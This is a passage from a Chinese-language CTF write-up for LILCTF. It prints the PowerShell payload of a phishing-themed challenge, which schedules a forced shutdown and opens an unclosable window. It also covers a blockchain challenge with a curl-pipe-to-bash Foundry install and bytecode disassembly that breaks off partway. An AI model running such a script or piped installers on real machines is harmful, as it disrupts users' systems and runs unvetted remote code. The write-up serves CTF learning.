<code>LILCTF&#123;6e_V1GlL4N7_49@1N$t_pHIshinG&#125;</code></p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$DebugPreference</span> = <span class="variable">$ErrorActionPreference</span> = <span class="variable">$VerbosePreference</span> = <span class="variable">$WarningPreference</span> = <span class="string">&quot;SilentlyContinue&quot;</span></span><br><span class="line"></span><br><span class="line">[<span class="built_in">void</span>] [<span class="type">System.Reflection.Assembly</span>]::LoadWithPartialName(<span class="string">&quot;System.Windows.Forms&quot;</span>)</span><br><span class="line">[<span class="built_in">void</span>] [<span class="type">System.Reflection.Assembly</span>]::LoadWithPartialName(<span class="string">&quot;System.Drawing&quot;</span>)</span><br><span class="line"></span><br><span class="line">shutdown /s /t <span class="number">600</span> &gt;<span class="variable">$Null</span> <span class="number">2</span>&gt;&amp;<span class="number">1</span></span><br><span class="line"></span><br><span class="line"><span class="variable">$Form</span> = <span class="built_in">New-Object</span> System.Windows.Forms.Form</span><br><span class="line"><span class="variable">$Form</span>.Text = <span class="string">&quot;Ciallo～(∠·ω&lt; )⌒★&quot;</span></span><br><span class="line"><span class="variable">$Form</span>.StartPosition = <span class="string">&quot;Manual&quot;</span></span><br><span class="line"><span class="variable">$Form</span>.Location = <span class="built_in">New-Object</span> System.Drawing.Point(<span class="number">40</span>, <span class="number">40</span>)</span><br><span class="line"><span class="variable">$Form</span>.Size = <span class="built_in">New-Object</span> System.Drawing.Size(<span class="number">720</span>, <span class="number">480</span>)</span><br><span class="line"><span class="variable">$Form</span>.MinimalSize = <span class="built_in">New-Object</span> System.Drawing.Size(<span class="number">720</span>, <span class="number">480</span>)</span><br><span class="line"><span class="variable">$Form</span>.MaximalSize = <span class="built_in">New-Object</span> System.Drawing.Size(<span class="number">720</span>, <span class="number">480</span>)</span><br><span class="line"><span class="variable">$Form</span>.FormBorderStyle = <span class="string">&quot;FixedDialog&quot;</span></span><br><span class="line"><span class="variable">$Form</span>.BackColor = <span class="string">&quot;#0077CC&quot;</span></span><br><span class="line"><span class="variable">$Form</span>.MaximizeBox = <span class="variable">$False</span></span><br><span class="line"><span class="variable">$Form</span>.TopMost = <span class="variable">$True</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="variable">$fF1IA49G</span> = <span class="string">&quot;LILCTF&#123;6e_V1GlL4N7_49@1N<span class="variable">$t_pHIshinG</span>&#125;&quot;</span></span><br><span class="line"><span class="variable">$fF1IA49G</span> = <span class="string">&quot;N0pe&quot;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="variable">$Label1</span> = <span class="built_in">New-Object</span> System.Windows.Forms.Label</span><br><span class="line"><span class="variable">$Label1</span>.Text = <span class="string">&quot;:)&quot;</span></span><br><span class="line"><span class="variable">$Label1</span>.Location = <span class="built_in">New-Object</span> System.Drawing.Point(<span class="number">64</span>, <span class="number">80</span>)</span><br><span class="line"><span class="variable">$Label1</span>.AutoSize = <span class="variable">$True</span></span><br><span class="line"><span class="variable">$Label1</span>.ForeColor = <span class="string">&quot;White&quot;</span></span><br><span class="line"><span class="variable">$Label1</span>.Font = <span class="built_in">New-Object</span> System.Drawing.Font(<span class="string">&quot;Consolas&quot;</span>, <span class="number">64</span>)</span><br><span class="line"></span><br><span class="line"><span class="variable">$Label2</span> = <span class="built_in">New-Object</span> System.Windows.Forms.Label</span><br><span class="line"><span class="variable">$Label2</span>.Text = <span class="string">&quot;这里没有 flag；这个窗口是怎么出现的呢，flag 就在那里&quot;</span></span><br><span class="line"><span class="variable">$Label2</span>.Location = <span class="built_in">New-Object</span> System.Drawing.Point(<span class="number">64</span>, <span class="number">240</span>)</span><br><span class="line"><span class="variable">$Label2</span>.AutoSize = <span class="variable">$True</span></span><br><span class="line"><span class="variable">$Label2</span>.ForeColor = <span class="string">&quot;White&quot;</span></span><br><span class="line"><span class="variable">$Label2</span>.Font = <span class="built_in">New-Object</span> System.Drawing.Font(<span class="string">&quot;微软雅黑&quot;</span>, <span class="number">16</span>)</span><br><span class="line"></span><br><span class="line"><span class="variable">$Label3</span> = <span class="built_in">New-Object</span> System.Windows.Forms.Label</span><br><span class="line"><span class="variable">$Label3</span>.Text = <span class="string">&quot;你的电脑将在 10 分钟后关机，请保存你的工作&quot;</span></span><br><span class="line"><span class="variable">$Label3</span>.Location = <span class="built_in">New-Object</span> System.Drawing.Point(<span class="number">64</span>, <span class="number">300</span>)</span><br><span class="line"><span class="variable">$Label3</span>.AutoSize = <span class="variable">$True</span></span><br><span class="line"><span class="variable">$Label3</span>.ForeColor = <span class="string">&quot;White&quot;</span></span><br><span class="line"><span class="variable">$Label3</span>.Font = <span class="built_in">New-Object</span> System.Drawing.Font(<span class="string">&quot;微软雅黑&quot;</span>, <span class="number">16</span>)</span><br><span class="line"></span><br><span class="line"><span class="variable">$Form</span>.Controls.AddRange(<span class="selector-tag">@</span>(<span class="variable">$Label1</span>, <span class="variable">$Label2</span>, <span class="variable">$Label3</span>))</span><br><span class="line"></span><br><span class="line"><span class="variable">$Form</span>.Add_Shown(&#123;<span class="variable">$Form</span>.Activate()&#125;)</span><br><span class="line"><span class="variable">$Form</span>.Add_FormClosing(&#123;</span><br><span class="line">    <span class="variable">$_</span>.Cancel = <span class="variable">$True</span></span><br><span class="line">    [<span class="type">System.Windows.Forms.MessageBox</span>]::Show(<span class="string">&quot;不允许关闭！&quot;</span>, <span class="string">&quot;提示&quot;</span>, [<span class="type">System.Windows.Forms.MessageBoxButtons</span>]::OK, [<span class="type">System.Windows.Forms.MessageBoxIcon</span>]::Information)</span><br><span class="line">&#125;)</span><br><span class="line"></span><br><span class="line"><span class="variable">$Form</span>.ShowDialog() | <span class="built_in">Out-Null</span></span><br></pre></td></tr></table></figure><h2 id="BlockChain"><a href="#BlockChain" class="headerlink" title="BlockChain"></a>BlockChain</h2><h3 id="生蚝的宝藏"><a href="#生蚝的宝藏" class="headerlink" title="生蚝的宝藏"></a><strong>生蚝的宝藏</strong></h3><p>先连接RPC、接水、部署合约一条龙，得到合约地址 <code>0x801C106775A116af3420358922fF10FeaA77119b</code></p><p>因为没有给合约，所以只能从字节码反编译，装个 foundry</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ curl -L https://foundry.paradigm.xyz | bash</span><br><span class="line">$ foundryup</span><br></pre></td></tr></table></figure><p>获取一下字节码</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ cast code --rpc-url http://106.15.138.99:8545/ 0x801C106775A116af3420358922fF10FeaA77119b</span><br><span class="line">0x608060405234801561001057600080fd5b50600436106100365760003560e01c80635cc4d8121461003b57806364d98f6e14610050575b600080fd5b61004e61004936600461023a565b61006a565b005b60015460ff16604051901515815260200160405180910390f35b61007381610112565b60405160200161008391906102eb565b6040516020818303038152906040528051906020012060006040516020016100ab9190610326565b60405160208183030381529060405280519060200120146101035760405162461bcd60e51b815260206004820152600e60248201526d57726f6e6720547265617375726560901b604482015260640160405180910390fd5b506001805460ff191681179055565b60408051808201909152600c81526b35b2bcaf9a9b9a1c19199ab360a11b60208201528151606091839160009067ffffffffffffffff81111561015757610157610224565b6040519080825280601f01601f191660200182016040528015610181576020820181803683370190505b50905060005b835181101561021b578283518261019e91906103c2565b815181106101ae576101ae6103e4565b602001015160f81c60f81b60f81c8482815181106101ce576101ce6103e4565b602001015160f81c60f81b60f81c1860f81b8282815181106101f2576101f26103e4565b60200101906001600160f81b031916908160001a90535080610213816103fa565b915050610187565b50949350505050565b634e487b7160e01b600052604160045260246000fd5b60006020828403121561024c57600080fd5b813567ffffffffffffffff8082111561026457600080fd5b818401915084601f83011261027857600080fd5b81358181111561028a5761028a610224565b604051601f8201601f19908116603f011681019083821181831017156102b2576102b2610224565b816040528281528760208487010111156102cb57600080fd5b826020860160208301376000928101602001929092525095945050505050565b6000825160005b8181101561030c57602081860181015185830152016102f2565b8181111561031b576000828501525b509190910192915050565b600080835481600182811c91508083168061034257607f831692505b602080841082141561036257634e487b7160e01b86526022600452602486fd5b8180156103765760018114610387576103b4565b60ff198616895284890196506103b4565b60008a81526020902060005b868110156103ac5781548b820152908501908301610393565b505084890196505b509498975050505050505050565b6000826103df57634e487b7160e01b600052601260045260246000fd5b500690565b634e487b7160e01b600052603260045260246000fd5b600060001982141561041c57634e487b7160e01b600052601160045260246000fd5b506001019056fea2646970667358221220d5c875e6de4319072b595bdd2382e9d4da7081fe0f1e58eb39dad3b70117693e64736f6c63430008090033</span><br></pre></td></tr></table></figure><p>转换成操作码</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br><span class="line">349</span><br><span class="line">350</span><br><span class="line">351</span><br><span class="line">352</span><br><span class="line">353</span><br><span class="line">354</span><br><span class="line">355</span><br><span class="line">356</span><br><span class="line">357</span><br><span class="line">358</span><br><span class="line">359</span><br><span class="line">360</span><br><span class="line">361</span><br><span class="line">362</span><br><span class="line">363</span><br><span class="line">364</span><br><span class="line">365</span><br><span class="line">366</span><br><span class="line">367</span><br><span class="line">368</span><br><span class="line">369</span><br><span class="line">370</span><br><span class="line">371</span><br><span class="line">372</span><br><span class="line">373</span><br><span class="line">374</span><br><span class="line">375</span><br><span class="line">376</span><br><span class="line">377</span><br><span class="line">378</span><br><span class="line">379</span><br><span class="line">380</span><br><span class="line">381</span><br><span class="line">382</span><br><span class="line">383</span><br><span class="line">384</span><br><span class="line">385</span><br><span class="line">386</span><br><span class="line">387</span><br><span class="line">388</span><br><span class="line">389</span><br><span class="line">390</span><br><span class="line">391</span><br><span class="line">392</span><br><span class="line">393</span><br><span class="line">394</span><br><span class="line">395</span><br><span class="line">396</span><br><span class="line">397</span><br><span class="line">398</span><br><span class="line">399</span><br><span class="line">400</span><br><span class="line">401</span><br><span class="line">402</span><br><span class="line">403</span><br><span class="line">404</span><br><span class="line">405</span><br><span class="line">406</span><br><span class="line">407</span><br><span class="line">408</span><br><span class="line">409</span><br><span class="line">410</span><br><span class="line">411</span><br><span class="line">412</span><br><span class="line">413</span><br><span class="line">414</span><br><span class="line">415</span><br><span class="line">416</span><br><span class="line">417</span><br><span class="line">418</span><br><span class="line">419</span><br><span class="line">420</span><br><span class="line">421</span><br><span class="line">422</span><br><span class="line">423</span><br><span class="line">424</span><br><span class="line">425</span><br><span class="line">426</span><br><span class="line">427</span><br><span class="line">428</span><br><span class="line">429</span><br><span class="line">430</span><br><span class="line">431</span><br><span class="line">432</span><br><span class="line">433</span><br><span class="line">434</span><br><span class="line">435</span><br><span class="line">436</span><br><span class="line">437</span><br><span class="line">438</span><br><span class="line">439</span><br><span class="line">440</span><br><span class="line">441</span><br><span class="line">442</span><br><span class="line">443</span><br><span class="line">444</span><br><span class="line">445</span><br><span class="line">446</span><br><span class="line">447</span><br><span class="line">448</span><br><span class="line">449</span><br><span class="line">450</span><br><span class="line">451</span><br><span class="line">452</span><br><span class="line">453</span><br><span class="line">454</span><br><span class="line">455</span><br><span class="line">456</span><br><span class="line">457</span><br><span class="line">458</span><br><span class="line">459</span><br><span class="line">460</span><br><span class="line">461</span><br><span class="line">462</span><br><span class="line">463</span><br><span class="line">464</span><br><span class="line">465</span><br><span class="line">466</span><br><span class="line">467</span><br><span class="line">468</span><br><span class="line">469</span><br><span class="line">470</span><br><span class="line">471</span><br><span class="line">472</span><br><span class="line">473</span><br><span class="line">474</span><br><span class="line">475</span><br><span class="line">476</span><br><span class="line">477</span><br><span class="line">478</span><br><span class="line">479</span><br><span class="line">480</span><br><span class="line">481</span><br><span class="line">482</span><br><span class="line">483</span><br><span class="line">484</span><br><span class="line">485</span><br><span class="line">486</span><br><span class="line">487</span><br><span class="line">488</span><br><span class="line">489</span><br><span class="line">490</span><br><span class="line">491</span><br><span class="line">492</span><br><span class="line">493</span><br><span class="line">494</span><br><span class="line">495</span><br><span class="line">496</span><br><span class="line">497</span><br><span class="line">498</span><br><span class="line">499</span><br><span class="line">500</span><br><span class="line">501</span><br><span class="line">502</span><br><span class="line">503</span><br><span class="line">504</span><br><span class="line">505</span><br><span class="line">506</span><br><span class="line">507</span><br><span class="line">508</span><br><span class="line">509</span><br><span class="line">510</span><br><span class="line">511</span><br><span class="line">512</span><br><span class="line">513</span><br><span class="line">514</span><br><span class="line">515</span><br><span class="line">516</span><br><span class="line">517</span><br><span class="line">518</span><br><span class="line">519</span><br><span class="line">520</span><br><span class="line">521</span><br><span class="line">522</span><br><span class="line">523</span><br><span class="line">524</span><br><span class="line">525</span><br><span class="line">526</span><br><span class="line">527</span><br><span class="line">528</span><br><span class="line">529</span><br><span class="line">530</span><br><span class="line">531</span><br><span class="line">532</span><br><span class="line">533</span><br><span class="line">534</span><br><span class="line">535</span><br><span class="line">536</span><br><span class="line">537</span><br><span class="line">538</span><br><span class="line">539</span><br><span class="line">540</span><br><span class="line">541</span><br><span class="line">542</span><br><span class="line">543</span><br><span class="line">544</span><br><span class="line">545</span><br><span class="line">546</span><br><span class="line">547</span><br><span class="line">548</span><br><span class="line">549</span><br><span class="line">550</span><br><span class="line">551</span><br><span class="line">552</span><br><span class="line">553</span><br><span class="line">554</span><br><span class="line">555</span><br><span class="line">556</span><br><span class="line">557</span><br><span class="line">558</span><br><span class="line">559</span><br><span class="line">560</span><br><span class="line">561</span><br><span class="line">562</span><br><span class="line">563</span><br><span class="line">564</span><br><span class="line">565</span><br><span class="line">566</span><br><span class="line">567</span><br><span class="line">568</span><br><span class="line">569</span><br><span class="line">570</span><br><span class="line">571</span><br><span class="line">572</span><br><span class="line">573</span><br><span class="line">574</span><br><span class="line">575</span><br><span class="line">576</span><br><span class="line">577</span><br><span class="line">578</span><br><span class="line">579</span><br><span class="line">580</span><br><span class="line">581</span><br><span class="line">582</span><br><span class="line">583</span><br><span class="line">584</span><br><span class="line">585</span><br><span class="line">586</span><br><span class="line">587</span><br><span class="line">588</span><br><span class="line">589</span><br><span class="line">590</span><br><span class="line">591</span><br><span class="line">592</span><br><span class="line">593</span><br><span class="line">594</span><br><span class="line">595</span><br><span class="line">596</span><br><span class="line">597</span><br><span class="line">598</span><br><span class="line">599</span><br><span class="line">600</span><br><span class="line">601</span><br><span class="line">602</span><br><span class="line">603</span><br><span class="line">604</span><br><span class="line">605</span><br><span class="line">606</span><br><span class="line">607</span><br><span class="line">608</span><br><span class="line">609</span><br><span class="line">610</span><br><span class="line">611</span><br><span class="line">612</span><br><span class="line">613</span><br><span class="line">614</span><br><span class="line">615</span><br><span class="line">616</span><br><span class="line">617</span><br><span class="line">618</span><br><span class="line">619</span><br><span class="line">620</span><br><span class="line">621</span><br><span class="line">622</span><br><span class="line">623</span><br><span class="line">624</span><br><span class="line">625</span><br><span class="line">626</span><br><span class="line">627</span><br><span class="line">628</span><br><span class="line">629</span><br><span class="line">630</span><br><span class="line">631</span><br><span class="line">632</span><br><span class="line">633</span><br><span class="line">634</span><br><span class="line">635</span><br><span class="line">636</span><br><span class="line">637</span><br><span class="line">638</span><br><span class="line">639</span><br><span class="line">640</span><br><span class="line">641</span><br><span class="line">642</span><br><span class="line">643</span><br><span class="line">644</span><br><span class="line">645</span><br><span class="line">646</span><br><span class="line">647</span><br><span class="line">648</span><br><span class="line">649</span><br><span class="line">650</span><br><span class="line">651</span><br><span class="line">652</span><br><span class="line">653</span><br><span class="line">654</span><br><span class="line">655</span><br><span class="line">656</span><br><span class="line">657</span><br><span class="line">658</span><br><span class="line">659</span><br><span class="line">660</span><br><span class="line">661</span><br><span class="line">662</span><br><span class="line">663</span><br><span class="line">664</span><br><span class="line">665</span><br><span class="line">666</span><br><span class="line">667</span><br><span class="line">668</span><br><span class="line">669</span><br><span class="line">670</span><br><span class="line">671</span><br><span class="line">672</span><br><span class="line">673</span><br><span class="line">674</span><br><span class="line">675</span><br><span class="line">676</span><br><span class="line">677</span><br><span class="line">678</span><br><span class="line">679</span><br><span class="line">680</span><br><span class="line">681</span><br><span class="line">682</span><br><span class="line">683</span><br><span class="line">684</span><br><span class="line">685</span><br><span class="line">686</span><br><span class="line">687</span><br><span class="line">688</span><br><span class="line">689</span><br><span class="line">690</span><br><span class="line">691</span><br><span class="line">692</span><br><span class="line">693</span><br><span class="line">694</span><br><span class="line">695</span><br><span class="line">696</span><br><span class="line">697</span><br><span class="line">698</span><br><span class="line">699</span><br><span class="line">700</span><br><span class="line">701</span><br><span class="line">702</span><br><span class="line">703</span><br><span class="line">704</span><br><span class="line">705</span><br><span class="line">706</span><br><span class="line">707</span><br><span class="line">708</span><br><span class="line">709</span><br><span class="line">710</span><br><span class="line">711</span><br><span class="line">712</span><br><span class="line">713</span><br><span class="line">714</span><br><span class="line">715</span><br><span class="line">716</span><br><span class="line">717</span><br><span class="line">718</span><br><span class="line">719</span><br><span class="line">720</span><br><span class="line">721</span><br><span class="line">722</span><br><span class="line">723</span><br><span class="line">724</span><br><span class="line">725</span><br><span class="line">726</span><br><span class="line">727</span><br><span class="line">728</span><br><span class="line">729</span><br><span class="line">730</span><br><span class="line">731</span><br><span class="line">732</span><br><span class="line">733</span><br><span class="line">734</span><br><span class="line">735</span><br><span class="line">736</span><br><span class="line">737</span><br><span class="line">738</span><br><span class="line">739</span><br><span class="line">740</span><br><span class="line">741</span><br><span class="line">742</span><br><span class="line">743</span><br><span class="line">744</span><br><span class="line">745</span><br><span class="line">746</span><br><span class="line">747</span><br><span class="line">748</span><br><span class="line">749</span><br><span class="line">750</span><br><span class="line">751</span><br><span class="line">752</span><br><span class="line">753</span><br><span class="line">754</span><br><span class="line">755</span><br><span class="line">756</span><br><span class="line">757</span><br><span class="line">758</span><br><span class="line">759</span><br><span class="line">760</span><br><span class="line">761</span><br><span class="line">762</span><br><span class="line">763</span><br></pre></td><td class="code"><pre><span class="line">$ cast code --rpc-url http://106.15.138.99:8545/ 0x801C106775A116af3420358922fF10FeaA77119b | cast disassemble</span><br><span class="line">00000001: PUSH1 0x80</span><br><span class="line">00000003: PUSH1 0x40</span><br><span class="line">00000005: MSTORE</span><br><span class="line">00000006: CALLVALUE</span><br><span class="line">00000007: DUP1</span><br><span class="line">00000008: ISZERO</span><br><span class="line">00000009: PUSH2 0x0010</span><br><span class="line">0000000c: JUMPI</span><br><span class="line">0000000d: PUSH1 0x00</span><br><span class="line">0000000f: DUP1</span><br><span class="line">00000010: REVERT</span><br><span class="line">00000011: JUMPDEST</span><br><span class="line">00000012: POP</span><br><span class="line">00000013: PUSH1 0x04</span><br><span class="line">00000015: CALLDATASIZE</span><br><span class="line">00000016: LT</span><br><span class="line">00000017: PUSH2 0x0036</span><br><span class="line">0000001a: JUMPI</span><br><span class="line">0000001b: PUSH1 0x00</span><br><span class="line">0000001d: CALLDATALOAD</span><br><span class="line">0000001e: PUSH1 0xe0</span><br><span class="line">00000020: SHR</span><br><span class="line">00000021: DUP1</span><br><span class="line">00000022: PUSH4 0x5cc4d812</span><br><span class="line">00000027: EQ</span><br><span class="line">00000028: PUSH2 0x003b</span><br><span class="line">0000002b: JUMPI</span><br><span class="line">0000002c: DUP1</span><br><span class="line">0000002d: PUSH4 0x64d98f6e</span><br><span class="line">00000032: EQ</span><br><span class="line">00000033: PUSH2 0x0050</span><br><span class="line">00000036: JUMPI</span><br><span class="line">00000037: JUMPDEST</span><br><span class="line">00000038: PUSH1 0x00</span><br><span class="line">0000003a: DUP1</span><br><span class="line">0000003b: REVERT</span><br><span class="line">0000003c: JUMPDEST</span><br><span class="line">0000003d: PUSH2 0x004e</span><br><span class="line">00000040: PUSH2 0x0049</span><br><span class="line">00000043: CALLDATASIZE</span><br><span class="line">00000044: PUSH1 0x04</span><br><span class="line">00000046: PUSH2 0x023a</span><br><span class="line">00000049: JUMP</span><br><span class="line">0000004a: JUMPDEST</span><br><span class="line">0000004b: PUSH2 0x006a</span><br><span class="line">0000004e: JUMP</span><br><span class="line">0000004f: JUMPDEST</span><br><span class="line">00000050: STOP</span><br><span class="line">00000051: JUMPDEST</span><br><span class="line">00000052: PUSH1 0x01</span><br><span class="line">00000054: SLOAD</span><br><span class="line">00000055: PUSH1 0xff</span><br><span class="line">00000057: AND</span><br><span class="line">00000058: PUSH1 0x40</span><br><span class="line">0000005a: MLOAD</span><br><span class="line">0000005b: SWAP1</span><br><span class="line">0000005c: ISZERO</span><br><span class="line">0000005d: ISZERO</span><br><span class="line">0000005e: DUP2</span><br><span class="line">0000005f: MSTORE</span><br><span class="line">00000060: PUSH1 0x20</span><br><span class="line">00000062: ADD</span><br><span class="line">00000063: PUSH1 0x40</span><br><span class="line">00000065: MLOAD</span><br><span class="line">00000066: DUP1</span><br><span class="line">00000067: SWAP2</span><br><span class="line">00000068: SUB</span><br><span class="line">00000069: SWAP1</span><br><span class="line">0000006a: RETURN</span><br><span class="line">0000006b: JUMPDEST</span><br><span class="line">0000006c: PUSH2 0x0073</span><br><span class="line">0000006f: DUP2</span><br><span class="line">00000070: PUSH2 